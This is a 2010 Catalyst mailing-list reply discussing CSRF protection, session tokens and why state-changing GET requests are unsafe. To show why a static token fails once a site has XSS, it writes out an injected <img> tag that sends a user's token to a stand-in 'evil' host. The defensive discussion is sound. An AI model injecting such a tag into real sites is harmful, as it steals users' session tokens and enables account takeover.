[Catalyst] Picking template type based on input

Tomas Doran bobtfish at bobtfish.net
Fri May 21 16:59:09 GMT 2010


On 29 Mar 2010, at 10:12, Jon mailinglists wrote:
>
>>> That's why I was talking auth tokens or some other means of  
>>> protection.
>>
>> A guess so, given that auth tokens are an XSRF protection really :)
>>
>>> I suppose more people have thought of that, and this isn't really
>>> Catalyst specific but very general. What I wonder though is if  
>>> there's
>>> any built in mechanism to protect from that since if I haven't got  
>>> it
>>> all wrong are cookie based sessions pretty much useless as security.
>>
>> There are a number of pre-baked solutions to this on CPAN / in  
>> various form
>> systems.
>>
>> That said, there is no generic thing you can plug into an arbitrary  
>> Catalyst
>> application which will try to protect you.
>>
>> It would be possible to parse the HTML your app output, add an  
>> extra hidden
>> field to any forms you had generated in the page, and then look for a
>> previously generated token and redirect / refuse the request if it  
>> wasn't
>> present.
>>
>> However this would obviously not catch forms generated purely from
>> Javascript (and a number of other cases), and so I'm somewhat  
>> doubtful of
>> its value in more complex applications. I can certainly remember  
>> the stuff
>> which tries to achieve this that is baked into Rails making me  
>> scream :)
>>
>
> But if one has a header.tt2, and that header has an <input
> type="hidden" id="token" value="[% c.token %]> would every javascript
> be able to get that value and add it to each form generated. Wouldn't
> that solve the problem, and also make sure that a request from a user
> is really that and not coming from an evil site. Or is that a naive
> solution?

No, that makes _some_ sense.. But if I write javascript which, when  
you click a button, adds a <form> element (and etc) to the page, then  
clicks the submit button, that form is not going to have the XSRF  
protection added (and ergo will fail when submitted).

I'd go with if you're doing weird things like that, then buyer beware..

> With the risk of making you scream here:
>
> Wouldn't it make sense to have and option in Authorization which
> generates and stores a token server side, in either a database or in
> the session (like Bill seems to do) at login time. If I'm not horribly
> mistaken would one token be enough for a session since the attack is
> blind and there's no way for a 3rd party to figure it out unless using
> brute force.

Not really. If one part of the site has XSS in it, and the token is  
static, then I can inject javascript into the page (by sending you a  
link to the part of the site with the XSS, which when run snarfs the  
token, and injects <img src="http://i.am.evil/find_this.cgi? 
token=XXXXXX width="1" height="1" /> into the bottom of the page..

I now have the user's token, and so I can submit any form in the app  
as them..

For real protection you _at least_ need to generate one token per form  
you display, ad keep a list of 'could be submitted' tokens.. For  
protection against all cases, you need to validate that the token  
presented was a component of the form which is actually being  
submitted..

> If that is correct, one can go about playing CRUD and allowing
> /member/get_info?token=... and /member/set_info?token=... with GET
> requests?

Well, if you're allowing /set_info to be a GET request, you already  
lost, don't do that :)

Catalyst::ActionRole::MatchRequestMethod is your friend.

>
>> That said - the wiki could very much benefit from a few pages which  
>> clearly
>> explained the issue(s) surrounding XSS and XSRF in more detail,  
>> along with a
>> rundown of what various form systems provide to mitigate these  
>> issues (and
>> any other more generic modules available).
>>
>> Would you be prepared to write (even some) of this - given you seem  
>> to
>> already be doing the research?
>>
>
> I just had a look and the wiki gives me an internal server error.

 >_<

That was, of course, subsequently fixed.

> I
> can try to add some info regarding this, it might be better than
> nothing but as I said, my English is far from perfect and it becomes
> extra obvious when trying to explain something complex.
>
> One thing I really think should be added there is a more verbose
> explanation to the note in Catalyst::Manual::Tutorial::04_BasicCRUD:
> Note: In practice you should never use a GET request to delete a
> record -- always use POST for actions that will modify data. We are
> doing it here for illustrative and simplicity purposes only.
>
> Since this is potentially as nasty as storing untainted data in the
> database, both for cases where GET is logical
> (/get_really_private_data) and cases like this where one is
> deleting/updating global data in a database.

Yes, we could do with more info. I disagree that your bad English  
would be a limitation.

We have a superb doc team who can help with that, and the tech team  
are happy to help with the finer points of the explanation.

However YOU are still the ONLY person who knows _WHAT_ needs  
explaining :)

On a slightly different note - I wasn't trying to be entirely  
pessimistic about making a component which would try to help take care  
of XSRF for you, I was just saying that it couldn't cover all possible  
cases with no user intervention.

I think there would be a lot of value to someone coming up with  
something which would solve the simple cases (when you're emitting  
static HTML forms into your page), and help with the harder ones.

Cheers
t0m




More information about the Catalyst mailing list